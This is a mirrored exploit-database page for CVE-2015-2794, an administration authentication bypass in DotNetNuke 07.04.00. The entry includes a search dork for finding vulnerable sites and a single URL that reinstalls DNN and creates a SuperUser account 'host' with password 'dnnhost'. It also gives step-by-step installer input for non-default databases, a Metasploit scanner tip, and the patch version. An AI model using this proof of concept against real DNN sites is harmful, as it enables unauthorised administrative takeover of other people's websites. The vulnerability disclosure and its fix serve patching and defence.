Home / exploitsPDF  

DotNetNuke 07.04.00 Administration Authentication Bypass

Posted on 30 November -0001

<HTML><HEAD><TITLE>DotNetNuke 07.04.00 Administration Authentication Bypass</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass
# Date: 06-05-2016
# Dork: :inurl:/tabid/36/language/en-US/Default.aspx
# Exploit Author: Marios Nicolaides
# Vendor Homepage: http://www.dnnsoftware.com/
# Software Link: https://dotnetnuke.codeplex.com/releases/view/611324
# Version: 07.04.00
# Tested on: Microsoft Windows 7 Professional (64-bit)
# Contact: <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="402d2132292f336e2e29232f2c2129242533002f35342c2f2f2b6e232f2d">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
# CVE: CVE-2015-2794
# Category: webapps

1. Description

DotNetNuke 07.04.00 does not prevent anonymous users from accessing the installation wizard, as a result a remote attacker
can 'reinstall' DNN and get unauthorised access as a SuperUser.

Previous versions of DotNetNuke may also be affected.


2. Proof of Concept

The exploit can be demonstrated as follows:

If the DNN SQL database is in the default location and configuration:
    - Database Type: SQL Server Express File
    - Server Name: .SQLExpress
    - Filename: Database.mdf (This is the default database file of DNN. You can find it at App_DataDatabase.mdf)

The following URL will create an account with the username: 'host', password: 'dnnhost':
    http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=&culture=en-US&executeinstall


If the DNN SQL database is not in the default configuration then the attacker must know its configuration or be able to brute-force guess it.

    A. Visit http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=
    B. Fill in the form and submit it:
        Username: whatever
        Password: whateverpassword
        Email address: <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="54233c35203122312614312c35392438317a373b39">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> (You will get an error msg due to client-side validation, just ignore it)
        Website Name: Whatever Site Name
        Database Setup Custom:
            - Database Type: SQL Server Express File
            - Server Name: .SQLExpress
                - This is the SQL Server instance name that we need to find or brute-force guess it in order to complete the installation.
                - If MSSQL database is accessible you can use auxiliary/scanner/mssql/mssql_ping from MSF to get it.
            - Filename: Database.mdf
                - This is the default database file of DNN. You can find it at "App_DataDatabase.mdf".
            - Tick the box Run Database as a Database Owner
    C. You will probably get an error. Remove the "__VIEWSTATE=" parameter from the URL and press enter.
    D. When the installation completes click Visit Website.
    E. Login with your credentials.

3. Solution:

Update to version 07.04.01
https://dotnetnuke.codeplex.com/releases/view/615317

4. References:

http://www.dnnsoftware.com/platform/manage/security-center (See 2015-05 (Critical) unauthorized users may create new host accounts)
http://www.dnnsoftware.com/community-blog/cid/155198/workaround-for-potential-security-issue
</BODY></HTML>

 

TOP

Malware :

Exploits :